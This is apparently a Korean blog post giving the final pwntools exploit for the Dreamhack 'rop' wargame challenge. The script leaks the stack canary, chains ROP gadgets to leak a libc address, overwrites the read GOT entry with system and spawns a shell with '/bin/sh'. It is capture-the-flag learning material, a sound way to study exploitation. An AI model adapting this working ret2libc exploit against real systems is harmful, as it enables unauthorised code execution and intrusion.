์ •๋ฆฌํ•ด์„œ ์ตœ์ข… ์ฝ”๋“œ๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

from pwn import *

def slog(name, addr):
	return success(": ".join([name, hex(addr)]))

p = remote("host1.dreamhack.games", 9826)
e = ELF("./rop") #์—ฌ๊ธฐ์„œ plt, got์ฃผ์†Œ ๊ฐ€์ ธ์˜ฌ ๊ฒƒ์ž„ (์–˜๋„ค๋Š” pie์•ˆ์ ์šฉํ•˜๋ฉด ๊ณ ์ •!)
#์—ฌ๊ธฐ์„œ plt,got ํ•„์š”ํ•œ ์ด์œ ๋Š” ํ•จ์ˆ˜์‹คํ–‰์œ„ํ•ด์„œ(plt), got overwriteํ•˜๊ธฐ ์œ„ํ•ด์„œ
libc = ELF("./libc-2.27.so") #์—ฌ๊ธฐ์„œ ์˜คํ”„์…‹ ๊ตฌํ•  ๊ฑฐ์ž„ (์–˜๋Š” aslr๋˜์–ด๋„ ๊ณ ์ •์ด๋‹ˆ๊นŒ!)
#offset์•Œ๋ฉด read got์ด ๊ฐ€๋ฆฌํ‚ค๋Š” ๊ฐ’+offsetํ•ด์„œ system ํ•จ์ˆ˜์˜ ์ฐ ์œ„์น˜ ์•Œ ์ˆ˜ ์žˆ์Œ

# [1] Leak canary
buf = b"A"*0x39 #๋ฒ„ํผ ์ฑ„์›Œ์ฃผ๊ธฐ
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7)) #๋ฒ„ํผ๋’ค 7์ž๋ฐ›๊ณ  ๋งจ ์•ž์— /x00์ถ”๊ฐ€ํ•ด์คŒ~
slog("canary", cnry)

# [2] Exploit
read_plt = e.plt['read'] #read plt์ฃผ์†Œ e์—์„œ ๊ฐ€์ ธ์˜ด
read_got = e.got['read'] 
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3 #๊ฐ€์ ฏ ์ฐพ๊ธฐ
pop_rsi_r15 = 0x00000000004007f1 #๊ฐ€์ ฏ ์ฐพ๊ธฐ
payload = b"A"*0x38 + p64(cnry) + b"B"*0x8 #๋ฒ„ํผ+์นด๋‚˜๋ฆฌ+sfp

# puts(read_got)
payload += p64(pop_rdi) + p64(read_got) #rdi=read_got ๋Œ€์ž…
payload += p64(puts_plt) #puts(read_got)

# read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)

p.sendafter("Buf: ", payload) #์ด๊ฑฐ ๋ณด๋‚ด๋ฉด ์ˆœ์ฐจ์ ์œผ๋กœ puts(read_got), read(0,read_got,rdx) ์‹คํ–‰๋˜๊ณ  stdin์— ๋ญ ๋‚˜์˜ฌ๋•Œ๊นŒ์ง€ ๋Œ€๊ธฐ
read = u64(p.recvn(6)+b"\x00"*2) #์ผ๋‹จ read_got ๋ฐ›๊ธฐ
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"] #system ์ฃผ์†Œ ๊ตฌํ•ด์šฉ
slog("read", read)
slog("libc base", lb)
slog("system", system)

p.send(p64(system)+b"/bin/sh\x00") #read(0,read_got,rdx) ๋Œ€๊ธฐํƒ€๊ณ ์žˆ๋Š” ๊ณณ์— system ์ฃผ์†Œ๋ž‘ /bin/sh ์ ์–ด์คŒ
#์ดํ›„ ๋‚จ์€ read("/bin/sh"), ์ฆ‰ system("/bin/sh")์‹คํ–‰๋จ
p.interactive() #์‰˜ ํš๋“

 
์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ์‰˜์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค...
 
๋ฌธ์ œ๋ฅผ ํ’€ ๋•Œ ์ฝ”๋“œ๋ž‘ ํŽ˜์ด๋กœ๋“œ๋ž‘ ์„ž์—ฌ์„œ ์ˆœ์„œ๊ฐ€ ์กฐ๊ธˆ ํ—ท๊ฐˆ๋ฆดํ…๋ฐ, ๊ฟ€ํŒ์€ ์šฐ๋ฆฌ๊ฐ€ ๊ฐ€์ ฏ์œผ๋กœ ์‹คํ–‰์‹œํ‚ฌ ํ•จ์ˆ˜๋“ค์„ ๊ทธ๋ƒฅ ๋ฌธ์ œ ์†Œ์Šค ์ฝ”๋“œ์—์„œ ์ˆœ์„œ๋Œ€๋กœ ๋ถ™์ด๋ฉด ๊ทธ๋ž˜๋„ ๋œ ํ—ท๊ฐˆ๋ฆฐ๋‹ค. 

'Linux Exploitation > Wargame' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Pwnable.kr] fd  (0) 2023.06.03
[Pwnable.kr] bof  (0) 2023.06.03
[๋“œ๋ฆผํ•ต(Dreamhack)] ssp_001  (0) 2023.04.14
[๋“œ๋ฆผํ•ต(Dreamhack)] basic_exploitation_000  (0) 2023.04.10
[๋“œ๋ฆผํ•ต(Dreamhack)] System Hacking STAGE 2 : Quiz: x86 Assembly 1  (0) 2023.03.19
profile

rosieblue

@Rosieblue

ํฌ์ŠคํŒ…์ด ์ข‹์•˜๋‹ค๋ฉด "์ข‹์•„์š”โค๏ธ" ๋˜๋Š” "๊ตฌ๋…๐Ÿ‘๐Ÿป" ํ•ด์ฃผ์„ธ์š”!